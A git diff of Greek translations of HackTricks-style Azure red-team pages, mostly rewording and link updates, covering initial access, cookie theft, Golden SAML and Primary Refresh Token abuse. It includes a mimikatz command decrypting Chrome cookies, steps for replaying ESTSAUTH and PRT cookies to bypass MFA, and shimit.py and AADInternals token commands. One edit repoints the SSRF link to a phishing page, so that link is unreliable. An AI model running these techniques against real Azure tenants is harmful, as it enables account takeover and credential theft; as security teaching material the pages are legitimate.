index 6411542b4..a3e1b9500 100644
--- a/src/pentesting-cloud/azure-security/README.md
+++ b/src/pentesting-cloud/azure-security/README.md
@@ -12,13 +12,13 @@ az-basic-information/
Για να ελέγξετε ένα περιβάλλον AZURE, είναι πολύ σημαντικό να γνωρίζετε: ποιες **υπηρεσίες χρησιμοποιούνται**, τι **εκτίθεται**, ποιος έχει **πρόσβαση** σε τι και πώς συνδέονται οι εσωτερικές υπηρεσίες Azure με τις **εξωτερικές υπηρεσίες**.
-Από την οπτική γωνία της Red Team, το **πρώτο βήμα για να παραβιάσετε ένα περιβάλλον Azure** είναι να καταφέρετε να αποκτήσετε κάποια **διαπιστευτήρια** για το Azure AD. Εδώ έχετε μερικές ιδέες για το πώς να το κάνετε αυτό:
+Από την οπτική γωνία της Red Team, το **πρώτο βήμα για να συμβιβαστεί ένα περιβάλλον Azure** είναι να καταφέρετε να αποκτήσετε κάποια **διαπιστευτήρια** για το Azure AD. Εδώ έχετε μερικές ιδέες για το πώς να το κάνετε αυτό:
- **Leaks** στο github (ή παρόμοια) - OSINT
- **Social** Engineering
- **Password** reuse (password leaks)
- Ευπάθειες σε εφαρμογές που φιλοξενούνται στο Azure
-- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) με πρόσβαση στο endpoint μεταδεδομένων
+- [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) με πρόσβαση στο endpoint μεταδεδομένων
- **Local File Read**
- `/home/USERNAME/.azure`
- `C:\Users\USERNAME\.azure`
@@ -29,11 +29,11 @@ az-basic-information/
Χρησιμοποιήστε το `Disconnect-AzAccount` για να τα αφαιρέσετε.
- 3rd parties **breached**
- **Internal** Employee
-- [**Common Phishing**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (credentials or Oauth App)
+- [**Common Phishing**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html) (credentials or Oauth App)
- [Device Code Authentication Phishing](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
- [Azure **Password Spraying**](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md)
-Ακόμα και αν **δεν έχετε παραβιάσει κανέναν χρήστη** μέσα στο Azure tenant που επιτίθεστε, μπορείτε να **συγκεντρώσετε κάποιες πληροφορίες** από αυτό:
+Ακόμα και αν δεν έχετε **συμβιβάσει κανέναν χρήστη** μέσα στο Azure tenant που επιτίθεστε, μπορείτε να **συγκεντρώσετε κάποιες πληροφορίες** από αυτό:
{{#ref}}
az-unauthenticated-enum-and-initial-entry/
@@ -49,10 +49,10 @@ az-unauthenticated-enum-and-initial-entry/
### SSRF
-Αν βρείτε ένα SSRF σε μια μηχανή μέσα στο Azure, ελέγξτε αυτή τη σελίδα για κόλπα:
+Αν βρείτε μια SSRF σε μια μηχανή μέσα στο Azure, ελέγξτε αυτή τη σελίδα για κόλπα:
{{#ref}}
-https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
+https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html
{{#endref}}
### Bypass Login Conditions
@@ -61,10 +61,10 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
Σε περιπτώσεις όπου έχετε κάποια έγκυρα διαπιστευτήρια αλλά δεν μπορείτε να συνδεθείτε, αυτές είναι μερικές κοινές προστασίες που θα μπορούσαν να είναι σε εφαρμογή:
-- **IP whitelisting** -- Πρέπει να παραβιάσετε μια έγκυρη IP
-- **Geo restrictions** -- Βρείτε πού ζει ο χρήστης ή πού είναι τα γραφεία της εταιρείας και αποκτήστε μια IP από την ίδια πόλη (ή τουλάχιστον από την ίδια χώρα)
+- **IP whitelisting** -- Πρέπει να συμβιβάσετε μια έγκυρη IP
+- **Geo restrictions** -- Βρείτε πού ζει ο χρήστης ή πού βρίσκονται τα γραφεία της εταιρείας και αποκτήστε μια IP από την ίδια πόλη (ή τουλάχιστον από την ίδια χώρα)
- **Browser** -- Ίσως μόνο ένας περιηγητής από ορισμένα OS (Windows, Linux, Mac, Android, iOS) να επιτρέπεται. Ανακαλύψτε ποιο OS χρησιμοποιεί το θύμα/εταιρεία.
-- Μπορείτε επίσης να προσπαθήσετε να **παραβιάσετε τα διαπιστευτήρια του Service Principal** καθώς συνήθως είναι λιγότερο περιορισμένα και η σύνδεσή τους ελέγχεται λιγότερο.
+- Μπορείτε επίσης να προσπαθήσετε να **συμβιβάσετε τα διαπιστευτήρια του Service Principal** καθώς συνήθως είναι λιγότερο περιορισμένα και η σύνδεσή τους ελέγχεται λιγότερο.
Αφού το παρακάμψετε, μπορεί να είστε σε θέση να επιστρέψετε στην αρχική σας ρύθμιση και θα έχετε ακόμα πρόσβαση.
@@ -120,13 +120,13 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user
{{#endtabs }}
> [!CAUTION]
-> Ένα από τα πιο σημαντικά εντολές για την καταμέτρηση του Azure είναι **`Get-AzResource`** από το Az PowerShell καθώς σας επιτρέπει να **γνωρίζετε τους πόρους που έχει ο τρέχων χρήστης ορατούς**.
+> Ένα από τα πιο σημαντικά εντολές για την καταμέτρηση του Azure είναι το **`Get-AzResource`** από το Az PowerShell, καθώς σας επιτρέπει να **γνωρίζετε τους πόρους που έχει ο τρέχων χρήστης ορατούς**.
>
> Μπορείτε να αποκτήσετε τις ίδιες πληροφορίες στην **ιστοσελίδα κονσόλας** πηγαίνοντας στο [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) ή αναζητώντας "Όλοι οι πόροι"
### ENtra ID Enumeration
-Από προεπιλογή, οποιοσδήποτε χρήστης θα πρέπει να έχει **αρκετές άδειες για να καταμετρήσει** πράγματα όπως, χρήστες, ομάδες, ρόλους, υπηρεσιακούς πρίγκιπες... (ελέγξτε [προεπιλεγμένες άδειες AzureAD](az-basic-information/#default-user-permissions)).\
+Από προεπιλογή, οποιοσδήποτε χρήστης θα πρέπει να έχει **αρκετά δικαιώματα για να καταμετρήσει** πράγματα όπως, χρήστες, ομάδες, ρόλους, υπηρεσιακούς εκπροσώπους... (ελέγξτε [default AzureAD permissions](az-basic-information/index.html#default-user-permissions)).\
Μπορείτε να βρείτε εδώ έναν οδηγό:
{{#ref}}
@@ -134,12 +134,12 @@ az-services/az-azuread.md
{{#endref}}
> [!NOTE]
-> Τώρα που **έχετε κάποιες πληροφορίες σχετικά με τα διαπιστευτήριά σας** (και αν είστε μια κόκκινη ομάδα ελπίζω να **δεν έχετε ανιχνευθεί**). Είναι καιρός να καταλάβετε ποιες υπηρεσίες χρησιμοποιούνται στο περιβάλλον.\
+> Τώρα που **έχετε κάποιες πληροφορίες σχετικά με τα διαπιστευτήριά σας** (και αν είστε red team ελπίζω να **μην έχετε ανιχνευθεί**). Είναι καιρός να καταλάβετε ποιες υπηρεσίες χρησιμοποιούνται στο περιβάλλον.\
> Στην επόμενη ενότητα μπορείτε να ελέγξετε μερικούς τρόπους για να **καταμετρήσετε κάποιες κοινές υπηρεσίες.**
## App Service SCM
-Kudu κονσόλα για σύνδεση στο 'container' της Υπηρεσίας Εφαρμογών.
+Kudu console για να συνδεθείτε στο 'container' της App Service.
## Webshell
@@ -147,15 +147,15 @@ Kudu κονσόλα για σύνδεση στο 'container' της Υπηρεσ
## Azure DevOps
-Το Azure DevOps είναι ξεχωριστό από το Azure. Έχει αποθετήρια, pipelines (yaml ή release), πίνακες, wiki και άλλα. Οι Ομάδες Μεταβλητών χρησιμοποιούνται για την αποθήκευση τιμών μεταβλητών και μυστικών.
+Το Azure DevOps είναι ξεχωριστό από το Azure. Έχει αποθετήρια, pipelines (yaml ή release), πίνακες, wiki και άλλα. Οι Ομάδες Μεταβλητών χρησιμοποιούνται για να αποθηκεύουν τιμές μεταβλητών και μυστικά.
## Debug | MitM az cli
-Χρησιμοποιώντας την παράμετρο **`--debug`** είναι δυνατό να δείτε όλα τα αιτήματα που στέλνει το εργαλείο **`az`**:
+Χρησιμοποιώντας την παράμετρο **`--debug`** είναι δυνατόν να δείτε όλα τα αιτήματα που στέλνει το εργαλείο **`az`**:
```bash
az account management-group list --output table --debug
```
-Για να κάνετε ένα **MitM** στο εργαλείο και να **ελέγξετε όλα τα αιτήματα** που στέλνει χειροκίνητα, μπορείτε να κάνετε:
+Για να κάνετε ένα **MitM** στο εργαλείο και να **ελέγξετε όλα τα αιτήματα** που στέλνει χειροκίνητα, μπορείτε να κάνετε:
{{#tabs }}
{{#tab name="Bash" }}
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md
index 3b6734107..f3037fc58 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md
@@ -4,29 +4,29 @@
## Γιατί Cookies;
-Οι **cookies** του προγράμματος περιήγησης είναι ένας εξαιρετικός μηχανισμός για να **παρακάμψετε την αυθεντικοποίηση και το MFA**. Επειδή ο χρήστης έχει ήδη αυθεντικοποιηθεί στην εφαρμογή, το **cookie** της συνεδρίας μπορεί απλά να χρησιμοποιηθεί για να **πρόσβαση σε δεδομένα** ως αυτός ο χρήστης, χωρίς να χρειάζεται να ξανα-αυθεντικοποιηθεί.
+Οι **cookies** του προγράμματος περιήγησης είναι ένας εξαιρετικός μηχανισμός για να **παρακάμψετε την αυθεντικοποίηση και το MFA**. Επειδή ο χρήστης έχει ήδη αυθεντικοποιηθεί στην εφαρμογή, το **cookie** της συνεδρίας μπορεί απλά να χρησιμοποιηθεί για να **πρόσβαση σε δεδομένα** ως αυτός ο χρήστης, χωρίς να χρειάζεται να ξανααυθεντικοποιηθεί.
Μπορείτε να δείτε πού βρίσκονται οι **cookies του προγράμματος περιήγησης** σε:
{{#ref}}
-https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts?q=browse#google-chrome
+https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.html#google-chrome
{{#endref}}
## Επίθεση
-Το δύσκολο μέρος είναι ότι αυτές οι **cookies είναι κρυπτογραφημένες** για τον **χρήστη** μέσω του Microsoft Data Protection API (**DPAPI**). Αυτό κρυπτογραφείται χρησιμοποιώντας κρυπτογραφικά [κλειδιά που συνδέονται με τον χρήστη](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) των οποίων οι cookies ανήκουν. Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με αυτό σε:
+Το δύσκολο μέρος είναι ότι αυτές οι **cookies είναι κρυπτογραφημένες** για τον **χρήστη** μέσω του Microsoft Data Protection API (**DPAPI**). Αυτό κρυπτογραφείται χρησιμοποιώντας κρυπτογραφικά [κλειδιά που σχετίζονται με τον χρήστη](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) των οποίων ανήκουν οι cookies. Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με αυτό σε:
{{#ref}}
-https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords
+https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html
{{#endref}}
-Με το Mimikatz στο χέρι, μπορώ να **εξάγω τα cookies ενός χρήστη** αν και είναι κρυπτογραφημένα με αυτή την εντολή:
+Με το Mimikatz στο χέρι, μπορώ να **εξάγω τα cookies ενός χρήστη** ακόμη και αν είναι κρυπτογραφημένα με αυτή την εντολή:
```bash
mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit
```
Για το Azure, μας ενδιαφέρουν τα cookies αυθεντικοποίησης συμπεριλαμβανομένων των **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`** και **`ESTSAUTHLIGHT`**. Αυτά υπάρχουν επειδή ο χρήστης έχει δραστηριοποιηθεί πρόσφατα στο Azure.
-Απλώς πλοηγηθείτε στο login.microsoftonline.com και προσθέστε το cookie **`ESTSAUTHPERSISTENT`** (δημιουργημένο από την επιλογή “Stay Signed In”) ή **`ESTSAUTH`**. Και θα είστε αυθεντικοποιημένοι.
+Απλά πλοηγηθείτε στο login.microsoftonline.com και προσθέστε το cookie **`ESTSAUTHPERSISTENT`** (που δημιουργήθηκε από την επιλογή “Stay Signed In”) ή **`ESTSAUTH`**. Και θα είστε αυθεντικοποιημένοι.
## Αναφορές
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md
index bd0e45977..d8e7ce4e4 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md
@@ -1,16 +1,16 @@
-# Az - Ομοσπονδία
+# Az - Federation
{{#include ../../../../banners/hacktricks-training.md}}
-## Βασικές Πληροφορίες
+## Basic Information
-[Από τα έγγραφα:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Ομοσπονδία** είναι μια συλλογή **τομέων** που έχουν καθορίσει ** εμπιστοσύνη**. Το επίπεδο εμπιστοσύνης μπορεί να διαφέρει, αλλά συνήθως περιλαμβάνει **αυθεντικοποίηση** και σχεδόν πάντα περιλαμβάνει **εξουσιοδότηση**. Μια τυπική ομοσπονδία μπορεί να περιλαμβάνει **πολλές οργανώσεις** που έχουν καθορίσει **εμπιστοσύνη** για **κοινή πρόσβαση** σε ένα σύνολο πόρων.
+[Από τα έγγραφα:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Η Ομοσπονδία** είναι μια συλλογή **τομέων** που έχουν καθορίσει ** εμπιστοσύνη**. Το επίπεδο εμπιστοσύνης μπορεί να διαφέρει, αλλά συνήθως περιλαμβάνει **αυθεντικοποίηση** και σχεδόν πάντα περιλαμβάνει **εξουσιοδότηση**. Μια τυπική ομοσπονδία μπορεί να περιλαμβάνει **πολλές οργανώσεις** που έχουν καθορίσει **εμπιστοσύνη** για **κοινή πρόσβαση** σε ένα σύνολο πόρων.
Μπορείτε να **ομοσπονδιοποιήσετε το τοπικό** περιβάλλον σας **με το Azure AD** και να χρησιμοποιήσετε αυτή την ομοσπονδία για αυθεντικοποίηση και εξουσιοδότηση. Αυτή η μέθοδος σύνδεσης διασφαλίζει ότι όλη η **αυθεντικοποίηση χρηστών πραγματοποιείται τοπικά**. Αυτή η μέθοδος επιτρέπει στους διαχειριστές να εφαρμόσουν πιο αυστηρούς ελέγχους πρόσβασης. Η ομοσπονδία με **AD FS** και PingFederate είναι διαθέσιμη.
-Βασικά, στην Ομοσπονδία, όλη η **αυθεντικοποίηση** πραγματοποιείται στο **τοπικό** περιβάλλον και ο χρήστης βιώνει SSO σε όλα τα αξιόπιστα περιβάλλοντα. Επομένως, οι χρήστες μπορούν να **πρόσβαση** σε **cloud** εφαρμογές χρησιμοποιώντας τα **τοπικά διαπιστευτήρια** τους.
+Βασικά, στην Ομοσπονδία, όλη η **αυθεντικοποίηση** πραγματοποιείται στο **τοπικό** περιβάλλον και οι χρήστες απολαμβάνουν SSO σε όλα τα αξιόπιστα περιβάλλοντα. Επομένως, οι χρήστες μπορούν να **πρόσβαση** σε **εφαρμογές** του **cloud** χρησιμοποιώντας τα **τοπικά διαπιστευτήρια** τους.
**Γλώσσα Σημειώσεων Ασφαλείας (SAML)** χρησιμοποιείται για **ανταλλαγή** όλων των πληροφοριών αυθεντικοποίησης και εξουσιοδότησης μεταξύ των παρόχων.
@@ -29,13 +29,13 @@
3. Ο IdP αναλαμβάνει, αυθεντικοποιώντας τον χρήστη. Μετά την αυθεντικοποίηση, μια SAMLResponse διαμορφώνεται από τον IdP και προωθείται στον SP μέσω του χρήστη.
4. Τέλος, ο SP αξιολογεί την SAMLResponse. Εάν επικυρωθεί επιτυχώς, υποδηλώνοντας μια σχέση εμπιστοσύνης με τον IdP, ο χρήστης αποκτά πρόσβαση. Αυτό σηματοδοτεί την ολοκλήρωση της διαδικασίας σύνδεσης, επιτρέποντας στον χρήστη να χρησιμοποιήσει την υπηρεσία.
-**Αν θέλετε να μάθετε περισσότερα για την αυθεντικοποίηση SAML και τις κοινές επιθέσεις, πηγαίνετε στο:**
+**Αν θέλετε να μάθετε περισσότερα για την αυθεντικοποίηση SAML και τις κοινές επιθέσεις, επισκεφθείτε:**
{{#ref}}
-https://book.hacktricks.xyz/pentesting-web/saml-attacks
+https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
{{#endref}}
-## Πλοήγηση
+## Pivoting
- Το AD FS είναι ένα μοντέλο ταυτότητας βασισμένο σε αξιώσεις.
- "..οι αξιώσεις είναι απλώς δηλώσεις (για παράδειγμα, όνομα, ταυτότητα, ομάδα), που γίνονται για τους χρήστες, οι οποίες χρησιμοποιούνται κυρίως για την εξουσιοδότηση πρόσβασης σε εφαρμογές βασισμένες σε αξιώσεις που βρίσκονται οπουδήποτε στο Διαδίκτυο."
@@ -48,7 +48,7 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks
- Στο ADFS, η SAML Response υπογράφεται από ένα πιστοποιητικό υπογραφής token.
- Εάν το πιστοποιητικό παραβιαστεί, είναι δυνατόν να αυθεντικοποιηθεί στο Azure AD ως ΟΠΟΙΟΣΔΗΠΟΤΕ χρήστης συγχρονισμένος με το Azure AD!
-- Ακριβώς όπως η κακή χρήση του PTA, η αλλαγή κωδικού πρόσβασης για έναν χρήστη ή το MFA δεν θα έχει καμία επίδραση επειδή παραποιούμε την απάντηση αυθεντικοποίησης.
+- Ακριβώς όπως η κακή χρήση του PTA, η αλλαγή κωδικού πρόσβασης για έναν χρήστη ή η MFA δεν θα έχει καμία επίδραση επειδή παραποιούμε την απάντηση αυθεντικοποίησης.
- Το πιστοποιητικό μπορεί να εξαχθεί από τον διακομιστή AD FS με δικαιώματα DA και στη συνέχεια μπορεί να χρησιμοποιηθεί από οποιαδήποτε μηχανή συνδεδεμένη στο Διαδίκτυο.
- Περισσότερες πληροφορίες στο [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
@@ -56,30 +56,30 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks
Η διαδικασία όπου ένας **Πάροχος Ταυτότητας (IdP)** παράγει μια **SAMLResponse** για να εξουσιοδοτήσει την είσοδο του χρήστη είναι καθοριστική. Ανάλογα με την συγκεκριμένη υλοποίηση του IdP, η **απάντηση** μπορεί να είναι **υπογεγραμμένη** ή **κρυπτογραφημένη** χρησιμοποιώντας το **ιδιωτικό κλειδί του IdP**. Αυτή η διαδικασία επιτρέπει στον **Πάροχο Υπηρεσιών (SP)** να επιβεβαιώσει την αυθεντικότητα της SAMLResponse, διασφαλίζοντας ότι εκδόθηκε πράγματι από έναν αξιόπιστο IdP.
-Μπορεί να γίνει μια παράλληλη σύγκριση με την [επίθεση χρυσού εισιτηρίου](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket), όπου το κλειδί που αυθεντικοποιεί την ταυτότητα και τα δικαιώματα του χρήστη (KRBTGT για χρυσά εισιτήρια, ιδιωτικό κλειδί υπογραφής token για χρυσό SAML) μπορεί να παραποιηθεί για να **δημιουργήσει ένα αντικείμενο αυθεντικοποίησης** (TGT ή SAMLResponse). Αυτό επιτρέπει την προσποίηση οποιουδήποτε χρήστη, παρέχοντας μη εξουσιοδοτημένη πρόσβαση στον SP.
+Μπορεί να γίνει μια παράλληλη αναφορά στην [επίθεση golden ticket](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), όπου το κλειδί που αυθεντικοποιεί την ταυτότητα και τα δικαιώματα του χρήστη (KRBTGT για golden tickets, ιδιωτικό κλειδί υπογραφής token για golden SAML) μπορεί να παραποιηθεί για να **δημιουργήσει ένα αντικείμενο αυθεντικοποίησης** (TGT ή SAMLResponse). Αυτό επιτρέπει την προσποίηση οποιουδήποτε χρήστη, παρέχοντας μη εξουσιοδοτημένη πρόσβαση στον SP.
-Τα Golden SAML προσφέρουν ορισμένα πλεονεκτήματα:
+Οι Golden SAML προσφέρουν ορισμένα πλεονεκτήματα:
-- Μπορούν να **δημιουργηθούν απομακρυσμένα**, χωρίς την ανάγκη να είναι μέρος του τομέα ή της ομοσπονδίας που εξετάζεται.
-- Παραμένουν αποτελεσματικά ακόμη και με **Επαλήθευση Δύο Παραγόντων (2FA)** ενεργοποιημένη.
+- Μπορούν να **δημιουργηθούν απομακρυσμένα**, χωρίς την ανάγκη να είναι μέρος του τομέα ή της ομοσπονδίας σε ερώτηση.
+- Παραμένουν αποτελεσματικές ακόμη και με **Επαλήθευση Δύο Παραγόντων (2FA)** ενεργοποιημένη.
- Το ιδιωτικό κλειδί υπογραφής **δεν ανανεώνεται αυτόματα**.
- **Η αλλαγή του κωδικού πρόσβασης ενός χρήστη δεν ακυρώνει** μια ήδη παραχθείσα SAML.
#### AWS + AD FS + Golden SAML
-[Υπηρεσίες Ομοσπονδίας Active Directory (AD FS)]() είναι μια υπηρεσία της Microsoft που διευκολύνει την **ασφαλή ανταλλαγή πληροφοριών ταυτότητας** μεταξύ αξιόπιστων επιχειρηματικών εταίρων (ομοσπονδία). Επιτρέπει ουσιαστικά σε μια υπηρεσία τομέα να μοιράζεται ταυτότητες χρηστών με άλλους παρόχους υπηρεσιών εντός μιας ομοσπονδίας.
+[Οι Υπηρεσίες Ομοσπονδίας Active Directory (AD FS)]() είναι μια υπηρεσία της Microsoft που διευκολύνει την **ασφαλή ανταλλαγή πληροφοριών ταυτότητας** μεταξύ αξιόπιστων επιχειρηματικών εταίρων (ομοσπονδία). Επιτρέπει ουσιαστικά σε μια υπηρεσία τομέα να μοιράζεται ταυτότητες χρηστών με άλλους παρόχους υπηρεσιών εντός μιας ομοσπονδίας.
-Με το AWS να εμπιστεύεται τον παραβιασμένο τομέα (σε μια ομοσπονδία), αυτή η ευπάθεια μπορεί να εκμεταλλευτεί για να **αποκτηθούν οποιαδήποτε δικαιώματα στο περιβάλλον AWS**. Η επίθεση απαιτεί το **ιδιωτικό κλειδί που χρησιμοποιείται για την υπογραφή των αντικειμένων SAML**, παρόμοια με την ανάγκη του KRBTGT σε μια επίθεση χρυσού εισιτηρίου. Η πρόσβαση στον λογαριασμό χρήστη AD FS είναι επαρκής για να αποκτηθεί αυτό το ιδιωτικό κλειδί.
+Με το AWS να εμπιστεύεται τον παραβιασμένο τομέα (σε μια ομοσπονδία), αυτή η ευπάθεια μπορεί να εκμεταλλευτεί για να **αποκτηθούν οποιαδήποτε δικαιώματα στο περιβάλλον AWS**. Η επίθεση απαιτεί το **ιδιωτικό κλειδί που χρησιμοποιείται για την υπογραφή των αντικειμένων SAML**, παρόμοια με την ανάγκη του KRBTGT σε μια επίθεση golden ticket. Η πρόσβαση στον λογαριασμό χρήστη AD FS είναι επαρκής για να αποκτηθεί αυτό το ιδιωτικό κλειδί.
-Οι απαιτήσεις για την εκτέλεση μιας επίθεσης Golden SAML περιλαμβάνουν:
+Οι απαιτήσεις για την εκτέλεση μιας επίθεσης golden SAML περιλαμβάνουν:
- **Ιδιωτικό κλειδί υπογραφής token**
- **Δημόσιο πιστοποιητικό IdP**
- **Όνομα IdP**
- **Όνομα ρόλου (ρόλος προς ανάληψη)**
-- Τομέας\όνομα χρήστη
+- Domain\username
- Όνομα συνεδρίας ρόλου στο AWS
-- Αναγνωριστικό λογαριασμού Amazon
+- Amazon account ID
_Μόνο τα στοιχεία με έντονη γραφή είναι υποχρεωτικά. Τα άλλα μπορούν να συμπληρωθούν κατά βούληση._
@@ -114,7 +114,7 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -
```
-### Τοπικά -> σύννεφο
+### On-prem -> cloud
```powershell
# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity | select -ExpandProperty ObjectGUID).tobytearray())
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md
index 5d7c070bd..4454fdc53 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md
@@ -49,7 +49,7 @@ Dsregcmd.exe /status
## Σενάρια Κατάχρησης PRT
Ως **κανονικός χρήστης** είναι δυνατό να **ζητήσετε τη χρήση PRT** ζητώντας από το LSASS δεδομένα SSO.\
-Αυτό μπορεί να γίνει όπως οι **εγγενείς εφαρμογές** που ζητούν tokens από τον **Web Account Manager** (token broker). Ο WAM μεταβιβάζει το αίτημα στο **LSASS**, το οποίο ζητά tokens χρησιμοποιώντας υπογεγραμμένη PRT δήλωση. Ή μπορεί να γίνει με **ροές βασισμένες σε πρόγραμμα περιήγησης (web)** όπου ένα **PRT cookie** χρησιμοποιείται ως **header** για την αυθεντικοποίηση αιτημάτων στις σελίδες σύνδεσης του Azure AS.
+Αυτό μπορεί να γίνει όπως οι **εγγενείς εφαρμογές** που ζητούν tokens από τον **Web Account Manager** (token broker). Ο WAM μεταβιβάζει το αίτημα στο **LSASS**, το οποίο ζητά tokens χρησιμοποιώντας υπογεγραμμένη δήλωση PRT. Ή μπορεί να γίνει με **ροές βασισμένες σε πρόγραμμα περιήγησης (web)** όπου ένα **PRT cookie** χρησιμοποιείται ως **κεφαλίδα** για την πιστοποίηση αιτημάτων στις σελίδες σύνδεσης Azure AS.
Ως **SYSTEM** θα μπορούσατε να **κλέψετε το PRT αν δεν προστατεύεται** από TPM ή να **αλληλεπιδράσετε με τα κλειδιά PRT στο LSASS** χρησιμοποιώντας κρυπτογραφικές APIs.
@@ -57,7 +57,7 @@ Dsregcmd.exe /status
### Επίθεση - ROADtoken
-Για περισσότερες πληροφορίες σχετικά με αυτόν τον τρόπο [**ελέγξτε αυτή την ανάρτηση**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). Το ROADtoken θα εκτελέσει το **`BrowserCore.exe`** από τον σωστό κατάλογο και θα το χρησιμοποιήσει για να **αποκτήσει ένα PRT cookie**. Αυτό το cookie μπορεί στη συνέχεια να χρησιμοποιηθεί με τα ROADtools για να αυθεντικοποιήσει και να **αποκτήσει ένα μόνιμο refresh token**.
+Για περισσότερες πληροφορίες σχετικά με αυτόν τον τρόπο [**ελέγξτε αυτή την ανάρτηση**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). Το ROADtoken θα εκτελέσει το **`BrowserCore.exe`** από τον σωστό κατάλογο και θα το χρησιμοποιήσει για να **αποκτήσει ένα PRT cookie**. Αυτό το cookie μπορεί στη συνέχεια να χρησιμοποιηθεί με τα ROADtools για να πιστοποιήσει και να **αποκτήσει ένα μόνιμο refresh token**.
Για να δημιουργήσετε ένα έγκυρο PRT cookie, το πρώτο πράγμα που χρειάζεστε είναι ένα nonce.\
Μπορείτε να το αποκτήσετε με:
@@ -96,9 +96,9 @@ roadrecon auth --prt-cookie
# Connect
Connect-AzureAD --AadAccessToken --AccountId
```
-### Επίθεση - Χρήση roadrecon
+### Επίθεση - Χρήση του roadrecon
-### Επίθεση - Χρήση AADInternals και ενός διαρρεύσαντος PRT
+### Επίθεση - Χρήση του AADInternals και ενός διαρρεύσαντος PRT
`Get-AADIntUserPRTToken` **λαμβάνει το PRT token του χρήστη** από τον υπολογιστή που είναι συνδεδεμένος στο Azure AD ή Hybrid. Χρησιμοποιεί το `BrowserCore.exe` για να αποκτήσει το PRT token.
```powershell
@@ -136,7 +136,7 @@ $AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken
# Verify access and connect with Az. You can see account id in mimikatz prt output
Connect-AzAccount -AccessToken $AT -TenantID -AccountId
```
-Πηγαίνετε στο [https://login.microsoftonline.com](https://login.microsoftonline.com), καθαρίστε όλα τα cookies για το login.microsoftonline.com και εισάγετε ένα νέο cookie.
+Πηγαίνετε στο [https://login.microsoftonline.com](https://login.microsoftonline.com), διαγράψτε όλα τα cookies για το login.microsoftonline.com και εισάγετε ένα νέο cookie.
```
Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
@@ -153,8 +153,8 @@ HttpOnly: Set to True (checked)
#### Βήματα
1. Το **PRT (Primary Refresh Token) εξάγεται από το LSASS** (Local Security Authority Subsystem Service) και αποθηκεύεται για μελλοντική χρήση.
